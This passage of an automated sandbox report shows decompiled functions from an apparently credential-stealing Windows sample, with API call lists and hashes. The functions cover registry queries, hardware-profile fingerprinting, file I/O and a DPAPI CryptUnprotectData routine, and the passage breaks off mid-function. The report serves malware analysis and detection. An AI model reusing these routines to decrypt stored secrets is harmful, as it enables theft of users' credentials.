Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0058B490, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B4A4
RtlAllocateHeap.NTDLL(00000000), ref: 0058B4AB
RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00585CA8), ref: 0058B4CB
RegQueryValueExA.ADVAPI32(00585CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0058B4EC
RegCloseKey.ADVAPI32(00585CA8), ref: 0058B4F6

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: e583b9393406cda6a62c2eb1ee0f1cf078770892ae510fe87ebbc80d6e2af90a
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: E6013CB5A41208BBEB00DBE0ED4AFEEB7B8EB48700F008568FA05A7291D6745A508B55

Uniqueness

Uniqueness Score: -1.00%

Function 0058B1D0, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B1E4
RtlAllocateHeap.NTDLL(00000000), ref: 0058B1EB
RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,00585AF9), ref: 0058B20B
RegQueryValueExA.ADVAPI32(00585AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0058B22C
RegCloseKey.ADVAPI32(00585AF9), ref: 0058B236

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 7b4b316f4686f12a15b064013accebe35adf0aa24cd7d428ea09ab7d414e5dec
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: E50144B5A41208BFE700DBD0DD49FEEB77CFB48700F008564FA05A7291D6745950CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x617800
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a1f4; // 0x619798
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.ADVAPI32(80000002,00617800,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.ADVAPI32(?,00619798,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x61ae20
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a4dc; // 0x619918
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.ADVAPI32(80000002,0061AE20,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.ADVAPI32(?,00619918,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				if(RegOpenKeyExA(0x80000002,  *0x41a1a0, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a5e4; // 0x6191a8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.ADVAPI32(80000002,006125D0,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.ADVAPI32(?,006191A8,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0058B510, Relevance: 7.5, APIs: 5, Instructions: 30memorystringCOMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0058B51D
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0058B52B
RtlAllocateHeap.NTDLL(00000000), ref: 0058B532
memset.NTDLL ref: 0058B549
lstrcat.KERNEL32(?,?), ref: 0058B55A

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 6d1017c0bafb9332d4fe29ae4e6f190e709bef2f1295c1cf7ac742b3bf26ab52
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: BDF05E70A01209ABEB20ABA4DE09B9A77BCBB08701F0085A4FB05E7190DB359950CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;

				if(GetCurrentHwProfileA( &_v132) == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435C84, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435EC5
__aulldiv.LIBCMT ref: 00435EE7

Strings

0, xrefs: 00435CB3
9, xrefs: 00435EF8

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 0$9
API String ID: 3839614884-1975997740
Opcode ID: fe32d38b610a3b3153e5a4f68af180b9b30bf65ac19318c766942227b1b7b699
Instruction ID: d0ff65fd8b3b1b9890fee81c56f001479fab1f89517dd9c0670738b5b13659a1
Opcode Fuzzy Hash: fe32d38b610a3b3153e5a4f68af180b9b30bf65ac19318c766942227b1b7b699
Instruction Fuzzy Hash: C141F4B1D15628DFDB24CF58C889BAEB7B5BB48304F24959AE419A7240C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043D0A9, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D2E0
__aulldiv.LIBCMT ref: 0043D302

Strings

9, xrefs: 0043D313
', xrefs: 0043D0A9

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$9
API String ID: 3839614884-1823400153
Opcode ID: 11b54eb4441ac92232ebeff5d94e6ddf2aab63c7eb60bb81892d03c19eacdfa3
Instruction ID: 81141134a6a4216bd73d5ffa37fb51d537e7626458054d2df8986a7f3f7b1b96
Opcode Fuzzy Hash: 11b54eb4441ac92232ebeff5d94e6ddf2aab63c7eb60bb81892d03c19eacdfa3
Instruction Fuzzy Hash: 3A41F3B1E002299FDB24CF58D941BAFB7B5FF89314F1051DAA148AB241C7789E81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3
v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 005878E0, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

Part of subcall function 005875D0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00587900,00000000,?), ref: 005875F7
Part of subcall function 005875D0: GetFileSizeEx.KERNEL32(000000FF,00587900,?,00587900,00000000,?), ref: 0058761C
Part of subcall function 005875D0: LocalAlloc.KERNEL32(00000040,?,?,00587900), ref: 0058763C
Part of subcall function 005875D0: ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00587900), ref: 00587665
Part of subcall function 005875D0: LocalFree.KERNEL32(?), ref: 0058769B
Part of subcall function 005875D0: CloseHandle.KERNEL32(000000FF,?,00587900,00000000,?), ref: 005876A5

Part of subcall function 0058BD50: LocalAlloc.KERNEL32(00000040,-00000001), ref: 0058BD72

StrStrA.SHLWAPI(00000000,0041A088), ref: 00587933

Part of subcall function 005876C0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,vyX,00000000,00000000), ref: 005876EF
Part of subcall function 005876C0: LocalAlloc.KERNEL32(00000040,?,?,00587976,?,?), ref: 00587701
Part of subcall function 005876C0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,vyX,00000000,00000000), ref: 0058772A
Part of subcall function 005876C0: LocalFree.KERNEL32(?,?,?,00587976,?,?), ref: 0058773F

Part of subcall function 00587760: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00587784
Part of subcall function 00587760: LocalAlloc.KERNEL32(00000040,00000000), ref: 005877A3
Part of subcall function 00587760: LocalFree.KERNEL32(?), ref: 005877CF

Strings

DPAPI, xrefs: 00587988
, xrefs: 005879B8
@_a, xrefs: 0058794F, 00587955

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotect
String ID: $@_a$DPAPI
API String ID: 2403763606-3931688241
Opcode ID: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction ID: 5425aa6a6833ce7dfefdfd8dbd895fd45a4cf89ff1127992c7a654ed7fbfd8f6
Opcode Fuzzy Hash: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction Fuzzy Hash: 54310CB2D0410EABDB04EBD9D845AFFBBB8FB9C310F148519E915B3241E7309A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00407690, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00407690(CHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
